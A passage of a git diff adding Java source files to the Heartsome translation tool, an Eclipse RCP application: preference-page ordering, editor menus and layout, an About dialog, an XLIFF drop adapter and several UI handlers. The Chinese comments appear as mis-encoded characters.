("net.heartsome.cat.ts.ui.qa.preference.QAInstalPage".equals(id)) { + // å“质检查 > 批é‡æ£€æŸ¥è®¾ç½®èœå• + return 8; + } else if ("net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage".equals(id)) { + // å“质检查 > éžè¯‘元素èœå• + return 9; + } + else if ("net.heartsome.cat.ts.ui.qa.preference.SpellPage".equals(id)) { + // å“质检查 > 拼写检查é…ç½® + return 11; + } else if ("net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage".equals(id)) { + // æ–‡ä»¶åˆ†æž + return 12; + } else if ("net.heartsome.cat.ts.ui.qa.preference.EquivalentPage".equals(id)) { + // æ–‡ä»¶åˆ†æž ï¼ï¼ï¼ž 加æƒç³»æ•°è®¾ç½® + return 13; + } else if (TranslationPreferencePage.ID.equals(id)) { + // 翻译èœå• + return 14; + } else if ("net.heartsome.cat.database.ui.tm.preference.tmpage".equals(id)) { + // 记忆库 + return 15; + } else if ("net.heartsome.cat.database.ui.tb.preference.tbpage".equals(id)) { + // 术语库èœå• + return 16; + } else if ("net.heartsome.cat.ts.pretranslation.preferencepage".equals(id)) { + // 预翻译 + return 17; + } else if ("net.heartsome.cat.ts.googletrans.preferencepage".equals(id)) { + // google + return 18; + } else if ("net.heartsome.cat.ts.bingtrans.preferencepage".equals(id)) { + // bing + return 19; + } else if ("net.heartsome.cat.convert.ui.preference.FileTypePreferencePage".equals(id)) { + // 文件类型 + return 20; + } else if ("net.heartsome.cat.converter.msexcel2007.preference.ExcelPreferencePage".equals(id)) { + // Microsoft Excel 2007 + return 21; + } else if ("net.heartsome.cat.converter.pptx.preference.PPTXPreferencePage".equals(id)) { + // Microsoft PowerPoint 2007 + return 22; + } else if ("net.heartsome.cat.converter.mif.preference.FrameMakerPreferencePage".equals(id)) { + // Adobe FrameMaker + return 23; + } else if ("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage".equals(id)) { + // 项目属性 + return 24; + } else { + return super.category(c); + } + } else { + return super.category(c); + } + } + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/StandardEditorSystemMenu.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/StandardEditorSystemMenu.java new file mode 100644 index 0000000..3433c50 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/StandardEditorSystemMenu.java @@ -0,0 +1,107 @@ +package net.heartsome.cat.ts; + +import org.eclipse.jface.action.GroupMarker; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.action.Separator; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.ui.internal.WorkbenchMessages; +import org.eclipse.ui.internal.presentations.SystemMenuClose; +import org.eclipse.ui.internal.presentations.SystemMenuCloseAll; +import org.eclipse.ui.internal.presentations.SystemMenuCloseOthers; +import org.eclipse.ui.internal.presentations.SystemMenuMaximize; +import org.eclipse.ui.internal.presentations.SystemMenuMinimize; +import org.eclipse.ui.internal.presentations.SystemMenuMove; +import org.eclipse.ui.internal.presentations.SystemMenuRestore; +import org.eclipse.ui.internal.presentations.UpdatingActionContributionItem; +import org.eclipse.ui.internal.presentations.util.ISystemMenu; +import org.eclipse.ui.presentations.IPresentablePart; +import org.eclipse.ui.presentations.IStackPresentationSite; + +/** + * 定制编辑器å³é”®èœå• + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class StandardEditorSystemMenu implements ISystemMenu { + + /* package */ MenuManager menuManager = new MenuManager(); + private SystemMenuRestore restore; + private SystemMenuMove move; + private SystemMenuMinimize minimize; + private SystemMenuMaximize maximize; + private SystemMenuClose close; + + private SystemMenuCloseOthers closeOthers; + private SystemMenuCloseAll closeAll; + + /** + * Create the standard view menu + * + * @param site the site to associate the view with + */ + public StandardEditorSystemMenu(IStackPresentationSite site) { + restore = new SystemMenuRestore(site); + move = new SystemMenuMove(site, getMoveMenuText(), false); + minimize = new SystemMenuMinimize(site); + maximize = new SystemMenuMaximize(site); + close = new SystemMenuClose(site); + closeOthers = new SystemMenuCloseOthers(site); + closeAll = new SystemMenuCloseAll(site); + + { // Initialize system menu + menuManager.add(new GroupMarker("misc")); //$NON-NLS-1$ + menuManager.add(new GroupMarker("restore")); //$NON-NLS-1$ + menuManager.add(new UpdatingActionContributionItem(restore)); + + menuManager.add(move); + menuManager.add(new GroupMarker("size")); //$NON-NLS-1$ + menuManager.add(new GroupMarker("state")); //$NON-NLS-1$ + menuManager.add(new UpdatingActionContributionItem(minimize)); + + menuManager.add(new UpdatingActionContributionItem(maximize)); + menuManager.add(new Separator("close")); //$NON-NLS-1$ + menuManager.add(close); + menuManager.add(closeOthers); + menuManager.add(closeAll); + + site.addSystemActions(menuManager); + } // End of system menu initialization + + } + + String getMoveMenuText() { + return WorkbenchMessages.EditorPane_moveEditor; + } + + /* (non-Javadoc) + * @see org.eclipse.ui.internal.presentations.util.ISystemMenu#show(org.eclipse.swt.graphics.Point, org.eclipse.ui.presentations.IPresentablePart) + */ + public void show(Control parent, Point displayCoordinates, IPresentablePart currentSelection) { + restore.update(); + move.setTarget(currentSelection); + move.update(); + minimize.update(); + maximize.update(); + close.setTarget(currentSelection); + closeOthers.setTarget(currentSelection); + closeAll.update(); + + Menu aMenu = menuManager.createContextMenu(parent); + menuManager.update(true); + aMenu.setLocation(displayCoordinates.x, displayCoordinates.y); + aMenu.setVisible(true); + } + + /** + * Dispose resources associated with this menu + */ + public void dispose() { + menuManager.dispose(); + menuManager.removeAll(); + } + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/TSPerspective.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/TSPerspective.java new file mode 100644 index 0000000..0c03255 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/TSPerspective.java @@ -0,0 +1,56 @@ +/** + * Perspective.java + * + * Version information : + * + * Date:Jan 27, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.ts; + +import org.eclipse.ui.IFolderLayout; +import org.eclipse.ui.IPageLayout; +import org.eclipse.ui.IPerspectiveFactory; +import org.eclipse.ui.IPlaceholderFolderLayout; + +/** + * . + * @author Jason + * @version + * @since JDK1.6 + */ +public class TSPerspective implements IPerspectiveFactory { + + public final static String ID = "net.heartsome.cat.ts.perspective"; + + /** + * TS默认é€è§†å›¾ã€‚ + * @see org.eclipse.ui.IPerspectiveFactory#createInitialLayout(org.eclipse.ui.IPageLayout) + */ + public void createInitialLayout(IPageLayout layout) { + + // layout.createFolder() 默认显示。 + // layout.createPlaceholderFolder() 默认ä¸æ˜¾ç¤ºã€‚ + + String editor = layout.getEditorArea(); + String rightFirst = "RIGHT_TOP"; + String left = "LEFT"; +// String bottom = "RIGHT_BOTTOM"; + + IFolderLayout leftFolder = layout.createFolder(left, IPageLayout.LEFT, 0.20F, editor); + IFolderLayout topFirstFolder = layout.createFolder(rightFirst, IPageLayout.TOP, 0.3F, editor); + + // 显示术语匹é…结果视图 +// IFolderLayout bottomFolder = layout +// .createFolder(bottom, IPageLayout.TOP, 0.65F, editor); +// IPlaceholderFolderLayout pLayout = layout.createPlaceholderFolder(bottom, IPageLayout.RIGHT, 0.65F, editor); + + leftFolder.addView("net.heartsome.cat.common.ui.navigator.view"); // 导航视图 + + topFirstFolder.addView("net.heartsome.cat.ts.ui.translation.view.matchview"); +// bottomFolder.addView("net.heartsome.cat.ts.ui.term.view.termView"); // 术语匹é…视图 +// pLayout.addPlaceholder("net.heartsome.cat.ts.ui.qa.views.QAResultViewPart"); + + } +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/TsPreferencesConstant.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/TsPreferencesConstant.java new file mode 100644 index 0000000..fdaed88 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/TsPreferencesConstant.java @@ -0,0 +1,13 @@ +package net.heartsome.cat.ts; + +/** + * TS系统级别å‚æ•°å¸¸é‡ + * @author jason + * @version + * @since JDK1.6 + */ +public class TsPreferencesConstant { + /** 状æ€æ çš„æ˜¾ç¤ºçŠ¶æ€ */ + public final static String TS_statusBar_status = "net.heartsome.cat.ts.statusBarStatus"; + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/TsPreferencesInitializer.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/TsPreferencesInitializer.java new file mode 100644 index 0000000..7c39c02 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/TsPreferencesInitializer.java @@ -0,0 +1,24 @@ +package net.heartsome.cat.ts; + + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * TS系统级别å‚æ•°åˆå§‹åŒ–
    + * 用于åˆå§‹åŒ–系统级别的å‚数(是å¦æ˜¾ç¤ºçŠ¶æ€æ ï¼‰ + * + * robert 2012-03-20 + */ +public class TsPreferencesInitializer extends AbstractPreferenceInitializer { + + public TsPreferencesInitializer() { + } + + @Override + public void initializeDefaultPreferences() { + IPreferenceStore preferenceStore = Activator.getDefault().getPreferenceStore(); + preferenceStore.setDefault(TsPreferencesConstant.TS_statusBar_status, true); + } + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/TsStartup.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/TsStartup.java new file mode 100644 index 0000000..e64c9b1 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/TsStartup.java @@ -0,0 +1,13 @@ +package net.heartsome.cat.ts; + +import net.heartsome.cat.ts.help.SystemResourceUtil; + +import org.eclipse.ui.IStartup; + +public class TsStartup implements IStartup { + + public void earlyStartup() { + SystemResourceUtil.load(false); + } + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/UnOpenAgainEditorPresentationFactory.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/UnOpenAgainEditorPresentationFactory.java new file mode 100644 index 0000000..bb1382e --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/UnOpenAgainEditorPresentationFactory.java @@ -0,0 +1,73 @@ +package net.heartsome.cat.ts; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.ui.IWorkbenchPreferenceConstants; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.internal.presentations.defaultpresentation.DefaultMultiTabListener; +import org.eclipse.ui.internal.presentations.defaultpresentation.DefaultSimpleTabListener; +import org.eclipse.ui.internal.presentations.defaultpresentation.DefaultTabFolder; +import org.eclipse.ui.internal.presentations.defaultpresentation.DefaultThemeListener; +import org.eclipse.ui.internal.presentations.util.PresentablePartFolder; +import org.eclipse.ui.internal.presentations.util.TabbedStackPresentation; +import org.eclipse.ui.presentations.IStackPresentationSite; +import org.eclipse.ui.presentations.StackPresentation; +import org.eclipse.ui.presentations.WorkbenchPresentationFactory; + +/** + * ä¸ä½¿ç”¨ RCP 自带的 WorkbenchPresentationFactory,用于去除编辑器标题å³é”®èœå•ä¸­çš„“新建编辑器â€èœå•é¡¹ + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class UnOpenAgainEditorPresentationFactory extends WorkbenchPresentationFactory { + + private static int editorTabPosition = PlatformUI.getPreferenceStore() + .getInt(IWorkbenchPreferenceConstants.EDITOR_TAB_POSITION); + + public StackPresentation createEditorPresentation(Composite parent, + IStackPresentationSite site) { + DefaultTabFolder folder = new DefaultTabFolder(parent, + editorTabPosition | SWT.BORDER, site + .supportsState(IStackPresentationSite.STATE_MINIMIZED), + site.supportsState(IStackPresentationSite.STATE_MAXIMIZED)); + + /* + * Set the minimum characters to display, if the preference is something + * other than the default. This is mainly intended for RCP applications + * or for expert users (i.e., via the plug-in customization file). + * + * Bug 32789. + */ + final IPreferenceStore store = PlatformUI.getPreferenceStore(); + if (store + .contains(IWorkbenchPreferenceConstants.EDITOR_MINIMUM_CHARACTERS)) { + final int minimumCharacters = store + .getInt(IWorkbenchPreferenceConstants.EDITOR_MINIMUM_CHARACTERS); + if (minimumCharacters >= 0) { + folder.setMinimumCharacters(minimumCharacters); + } + } + + PresentablePartFolder partFolder = new PresentablePartFolder(folder); + + TabbedStackPresentation result = new TabbedStackPresentation(site, + partFolder, new StandardEditorSystemMenu(site)); + + DefaultThemeListener themeListener = new DefaultThemeListener(folder, + result.getTheme()); + result.getTheme().addListener(themeListener); + + new DefaultMultiTabListener(result.getApiPreferences(), + IWorkbenchPreferenceConstants.SHOW_MULTIPLE_EDITOR_TABS, folder); + + new DefaultSimpleTabListener(result.getApiPreferences(), + IWorkbenchPreferenceConstants.SHOW_TRADITIONAL_STYLE_TABS, + folder); + + return result; + } + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/dialog/AboutDialog.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/dialog/AboutDialog.java new file mode 100644 index 0000000..9570b48 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/dialog/AboutDialog.java @@ -0,0 +1,164 @@ +package net.heartsome.cat.ts.dialog; + +import java.text.MessageFormat; + +import net.heartsome.cat.ts.Activator; +import net.heartsome.cat.ts.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Link; +import org.eclipse.swt.widgets.Shell; + +/** + * 关于对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class AboutDialog extends Dialog { + + private Image image; + private Font font; + + public AboutDialog(Shell parentShell) { + super(parentShell); + image = Activator.getImageDescriptor("images/help/aboutR8.png").createImage(); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.AboutDialog.title")); + } + + @Override + protected Control createDialogArea(Composite parent) { + final Composite tparent = (Composite) super.createDialogArea(parent); + GridLayoutFactory.swtDefaults().spacing(0, 0).extendedMargins(SWT.DEFAULT, SWT.DEFAULT, 0, 8).applyTo(tparent); + GridData parentData = new GridData(GridData.FILL_BOTH); + parentData.heightHint = 480; + parentData.widthHint = 445; + tparent.setLayoutData(parentData); + + Composite cmpMain = new Composite(tparent, SWT.None); + cmpMain.setLayout(new GridLayout()); + cmpMain.setLayoutData(new GridData(GridData.FILL_BOTH)); + Color white = Display.getDefault().getSystemColor(SWT.COLOR_WHITE); + cmpMain.setBackground(white); + + Label lblImage = new Label(cmpMain, SWT.CENTER); + lblImage.setImage(image); + // lblImage.setLayoutData(new GridData(GridData.FILL_BOTH)); + lblImage.setBackground(white); + + GridData data = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_HORIZONTAL); + + Label lblVersion = new Label(cmpMain, SWT.BOLD); + FontData fontData = Display.getDefault().getSystemFont().getFontData()[0]; + fontData.setStyle(fontData.getStyle() | SWT.BOLD); + this.font = new Font(lblVersion.getDisplay(), fontData); + lblVersion.setFont(this.font); + String version = System.getProperty("TSEdition"); + if (version.equals("U")) { + lblVersion.setText(Messages.getString("dialog.AboutDialog.lblVersionU")); + } else if (version.equals("F")) { + lblVersion.setText(Messages.getString("dialog.AboutDialog.lblVersionF")); + } else if (version.equals("P")) { + lblVersion.setText(Messages.getString("dialog.AboutDialog.lblVersionP")); + } else if (version.equals("L")) { + lblVersion.setText(Messages.getString("dialog.AboutDialog.lblVersionL")); + } + lblVersion.setLayoutData(data); + lblVersion.setBackground(white); + + Label lblVersion2 = new Label(cmpMain, SWT.None); + String version2 = System.getProperty("TSVersionDate"); + lblVersion2.setText(MessageFormat.format(Messages.getString("dialog.AboutDialog.lblVersion2"), + version2.substring(0, version2.lastIndexOf(".")), version2.substring(version2.lastIndexOf(".") + 1))); + lblVersion2.setLayoutData(data); + lblVersion2.setBackground(white); + + Composite cmpWeb = new Composite(cmpMain, SWT.None); + cmpWeb.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + GridLayoutFactory.swtDefaults().numColumns(2).equalWidth(false).extendedMargins(-5, 0, 0, 0).applyTo(cmpWeb); + cmpWeb.setBackground(white); + Label lblProduct = new Label(cmpWeb, SWT.None); + lblProduct.setText(Messages.getString("dialog.AboutDialog.lblProduct")); + lblProduct.setBackground(white); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblProduct); + Link productLink = new Link(cmpWeb, SWT.NONE); + productLink.setText("" + Messages.getString("dialog.AboutDialog.productLink") + ""); + productLink.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + Program.launch(Messages.getString("dialog.AboutDialog.productLink")); + } + }); + productLink.setBackground(white); + + Label lblSupport = new Label(cmpWeb, SWT.None); + lblSupport.setText(Messages.getString("dialog.AboutDialog.lblSupport")); + lblSupport.setBackground(white); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblSupport); + Link supportLink = new Link(cmpWeb, SWT.NONE); + supportLink.setText("" + Messages.getString("dialog.AboutDialog.supportLink") + ""); + supportLink.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + Program.launch(Messages.getString("dialog.AboutDialog.supportLink")); + } + }); + supportLink.setBackground(white); + + Label lblCopyRight = new Label(cmpMain, SWT.None); + lblCopyRight.setText(Messages.getString("dialog.AboutDialog.lblCopyRight")); + lblCopyRight.setLayoutData(data); + lblCopyRight.setBackground(white); + + Composite cmpWarn = new Composite(tparent, SWT.None); + cmpWarn.setLayout(new GridLayout()); + cmpWarn.setLayoutData(new GridData(GridData.FILL_BOTH)); + Label lblWarn = new Label(cmpWarn, SWT.WRAP); + lblWarn.setLayoutData(new GridData(GridData.FILL_BOTH)); + Point bodySize = parent.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + GridData gd = (GridData) lblWarn.getLayoutData(); + gd.widthHint = bodySize.x; + lblWarn.setText(Messages.getString("dialog.AboutDialog.lblWarn")); + + return tparent; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + } + + @Override + public boolean close() { + if (image != null && !image.isDisposed()) { + image.dispose(); + } + if (font != null && !font.isDisposed()) { + font.dispose(); + } + return super.close(); + } +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/drop/EditorAreaDropAdapter.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/drop/EditorAreaDropAdapter.java new file mode 100644 index 0000000..4ea3bb4 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/drop/EditorAreaDropAdapter.java @@ -0,0 +1,115 @@ +package net.heartsome.cat.ts.drop; + +import java.util.Iterator; + +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.util.LocalSelectionTransfer; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.dnd.DND; +import org.eclipse.swt.dnd.DropTargetAdapter; +import org.eclipse.swt.dnd.DropTargetEvent; +import org.eclipse.swt.dnd.FileTransfer; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.ide.IDE; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * An editor area drop adapter to handle transfer types LocalSelectionTransfer and + * FileTransfer. + * @author weachy + * @version + * @since JDK1.5 + * @see org.eclipse.ui.internal.ide.EditorAreaDropAdapter + */ +@SuppressWarnings("restriction") +public class EditorAreaDropAdapter extends DropTargetAdapter { + + private static final Logger LOGGER = LoggerFactory.getLogger(EditorAreaDropAdapter.class); + + private IWorkbenchWindow window; + + public EditorAreaDropAdapter(IWorkbenchWindow window) { + this.window = window; + } + + public void dragEnter(DropTargetEvent event) { + // always indicate a copy + event.detail = DND.DROP_COPY; + } + + public void dragOperationChanged(DropTargetEvent event) { + // always indicate a copy + event.detail = DND.DROP_COPY; + } + + public void drop(final DropTargetEvent event) { + Display d = window.getShell().getDisplay(); + final IWorkbenchPage page = window.getActivePage(); + if (page != null) { + d.asyncExec(new Runnable() { + public void run() { + asyncDrop(event, page); + } + }); + } + } + + private void asyncDrop(DropTargetEvent event, IWorkbenchPage page) { + if (LocalSelectionTransfer.getTransfer().isSupportedType(event.currentDataType)) { // 处ç†â€œå¯¼èˆªè§†å›¾â€æ‹–拽过æ¥çš„文件 + if (!(event.data instanceof StructuredSelection)) { + return; + } + StructuredSelection selection = (StructuredSelection) event.data; + for (Iterator iter = selection.iterator(); iter.hasNext();) { + Object o = iter.next(); + if (o instanceof IFile) { + IFile file = (IFile) o; +// 仅打开从导航视图中拖过æ¥çš„ XLIFF 文件 + if (CommonFunction.validXlfExtensionByFileName(file.getName())) { + try { + IDE.openEditor(page, file, true); + } catch (PartInitException e) { + LOGGER.error(" ", e); + // silently ignore problems opening the editor + } + } + } + } + } else if (FileTransfer.getInstance().isSupportedType(event.currentDataType)) { // 处ç†ä»Žå·¥ä½œç©ºé—´ä»¥å¤–拖拽过æ¥çš„文件 +// 从工作空间以外拖过æ¥çš„文件ä¸åšå¤„ç† +// String[] filePaths = (String[]) event.data; +// if (filePaths != null && filePaths.length != 0) { +// boolean isXliffFile = true; // 是 XLIFF 文件 +// for (String filePath : filePaths) { +// if (!CommonFunction.validXlfExtensionByFileName(filePath)) { +// isXliffFile = false; +// break; +// } +// } +// if (isXliffFile) { // 全部都是 XLIFF 文件 +// for (int i = 0; i < filePaths.length; i++) { +// IFileStore fileStore = EFS.getLocalFileSystem().getStore(new Path(filePaths[i])); +// try { +// IDE.openEditorOnFileStore(page, fileStore); +// } catch (PartInitException e) { +// LOGGER.error("", e); +// // silently ignore problems opening the editor +// } +// } +// } else { // å¦åˆ™ï¼Œå°±å¼¹å‡ºåˆ›å»ºé¡¹ç›®çš„对è¯æ¡†ï¼Œè¦æ±‚创建项目。 +// NewProjectAction action = new NewProjectAction(window); +// action.run(); +// // TODO 如果æˆåŠŸåˆ›å»ºé¡¹ç›®ï¼Œåˆ™æŠŠæ‹–è¿›æ¥çš„文件自动拷è´åˆ°é¡¹ç›®ä¸­æ¥ã€‚ +// // 未解决问题:无法获å–是å¦å·²ç»æˆåŠŸåˆ›å»ºï¼ˆå¯èƒ½ç”¨æˆ·ç‚¹å‡»äº†â€œå–消â€ï¼‰ã€‚ +// } +// } + } + } + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/AboutHandler.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/AboutHandler.java new file mode 100644 index 0000000..95e81bb --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/AboutHandler.java @@ -0,0 +1,46 @@ +package net.heartsome.cat.ts.handler; + +import net.heartsome.cat.ts.dialog.AboutDialog; +import net.heartsome.cat.ts.help.SystemResourceUtil; +import net.heartsome.cat.ts.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.LoggerFactory; + +/** + * 关于... + * @author peason + * @version + * @since JDK1.6 + */ +public class AboutHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(AboutHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + Shell shell = HandlerUtil.getActiveShell(event); + String version = System.getProperty("TSEdition"); + String version2 = System.getProperty("TSVersionDate"); + if (version == null || version2 == null || version.equals("") || version2.equals("")) { + MessageDialog.openInformation(shell, Messages.getString("dialog.AboutDialog.msgTitle"), + Messages.getString("dialog.AboutDialog.msg")); + PlatformUI.getWorkbench().close(); + } else { + SystemResourceUtil.load(); + AboutDialog dialog = new AboutDialog(shell); + dialog.open(); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/KeyAssistHandler.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/KeyAssistHandler.java new file mode 100644 index 0000000..53ae854 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/KeyAssistHandler.java @@ -0,0 +1,47 @@ +package net.heartsome.cat.ts.handler; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Iterator; +import java.util.List; + +import net.heartsome.cat.ts.ui.Constants; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.ParameterizedCommand; +import org.eclipse.jface.bindings.Binding; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.internal.keys.BindingService; +import org.eclipse.ui.keys.IBindingService; + +/** + * 帮助 -> å¿«æ·é”®åŠŸèƒ½çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class KeyAssistHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + final IWorkbench workbench = PlatformUI.getWorkbench(); + IBindingService bindingService = (IBindingService) workbench.getService(IBindingService.class); + BindingService service = (BindingService) bindingService; + ArrayList lstBinding = new ArrayList(Arrays.asList(bindingService.getBindings())); + List lstRemove = Constants.lstRemove; + Iterator it = lstBinding.iterator(); + while (it.hasNext()) { + Binding binding = it.next(); + ParameterizedCommand pCommand = binding.getParameterizedCommand(); + if (pCommand == null || lstRemove.contains(pCommand.getCommand().getId())) { + it.remove(); + } + } + service.getKeyboard().openKeyAssistShell(lstBinding); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/OpenStatusBarHandler.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/OpenStatusBarHandler.java new file mode 100644 index 0000000..e01ebef --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/OpenStatusBarHandler.java @@ -0,0 +1,48 @@ +package net.heartsome.cat.ts.handler; + +import java.util.Map; + +import net.heartsome.cat.ts.Activator; +import net.heartsome.cat.ts.ApplicationWorkbenchAdvisor; +import net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor; +import net.heartsome.cat.ts.TsPreferencesConstant; + + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.commands.ICommandService; +import org.eclipse.ui.commands.IElementUpdater; +import org.eclipse.ui.menus.UIElement; + +/** + * 主界é¢çŠ¶æ€æ çš„显示与éšè— + * @author robert 2011-11-04 + */ +public class OpenStatusBarHandler extends AbstractHandler implements IElementUpdater { + + public Object execute(ExecutionEvent event) throws ExecutionException { + + IPreferenceStore preferenceStore = Activator.getDefault().getPreferenceStore(); + boolean oldValue = preferenceStore.getBoolean(TsPreferencesConstant.TS_statusBar_status); + + ApplicationWorkbenchWindowAdvisor configurer = ApplicationWorkbenchAdvisor.WorkbenchWindowAdvisor; + configurer.setStatusVisible(!oldValue); + + preferenceStore.setValue(TsPreferencesConstant.TS_statusBar_status, !oldValue); + ICommandService commandService = (ICommandService) PlatformUI.getWorkbench().getService(ICommandService.class); + commandService.refreshElements(event.getCommand().getId(), null); + + return null; + } + + @SuppressWarnings("rawtypes") + public void updateElement(UIElement element, Map parameters) { + IPreferenceStore preferenceStore = Activator.getDefault().getPreferenceStore(); + boolean oldValue = preferenceStore.getBoolean(TsPreferencesConstant.TS_statusBar_status); + element.setIcon(oldValue ? Activator.getImageDescriptor("icons/enabled_co.png") : Activator + .getImageDescriptor("icons/disabled_co.png")); + } +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/OpenToolBarHandler.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/OpenToolBarHandler.java new file mode 100644 index 0000000..fe254e7 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/OpenToolBarHandler.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.ts.handler; + +import java.util.Map; + +import net.heartsome.cat.ts.Activator; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IWorkbenchWindow; +import 